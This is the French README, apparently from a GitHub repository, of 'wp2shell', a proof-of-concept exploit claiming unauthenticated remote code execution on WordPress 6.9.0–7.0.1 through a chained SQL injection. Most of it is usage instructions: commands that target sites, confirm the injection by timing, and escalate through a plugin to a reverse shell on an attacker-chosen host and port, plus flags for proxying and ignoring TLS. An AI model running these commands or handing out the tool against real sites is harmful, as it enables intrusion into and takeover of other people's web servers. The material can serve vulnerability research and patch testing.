mverschu/cve-2026-63030Exploit POC de la RCE non authentifiée du noyau WordPress connu sous le nom de WP2Shell
| Nom | wp2shell |
| CVEs | CVE-2026-63030 (désynchronisation de lot), CVE-2026-60137 (author__not_in injection SQL) |
| Affecté | WordPress 6.9.0 à 6.9.4, 7.0.0 à 7.0.1 |
| Corrigé dans | 6.9.5, 7.0.2 |
| Authentification nécessaire | Aucune |
| Découvert par | Adam Kues (Searchlight Cyber / Assetnote) |
Hôte nu = schéma automatique (essaie https:// puis http://). Préfixez avec http:// ou https:// uniquement si vous voulez en forcer un.
# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing confirm
wp2shell target.example --confirm-sqli
# SQLi -> oEmbed/admin bridge -> plugin -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
| Flag | Ce qu'il fait |
|---|---|
--shell [LHOST [LPORT]] | chaîne RCE standard ; LHOST par défaut est l'IP de cette machine, LPORT est 443 |
--rest-route | essayez /?rest_route=/batch/v1 d'abord |
--verify-tls | vérifier les certificats TLS (désactivé par défaut pour les labos/auto-signés) |
--proxy URL | envoyer le trafic via un proxy |
--force | ignorer l'empreinte WordPress |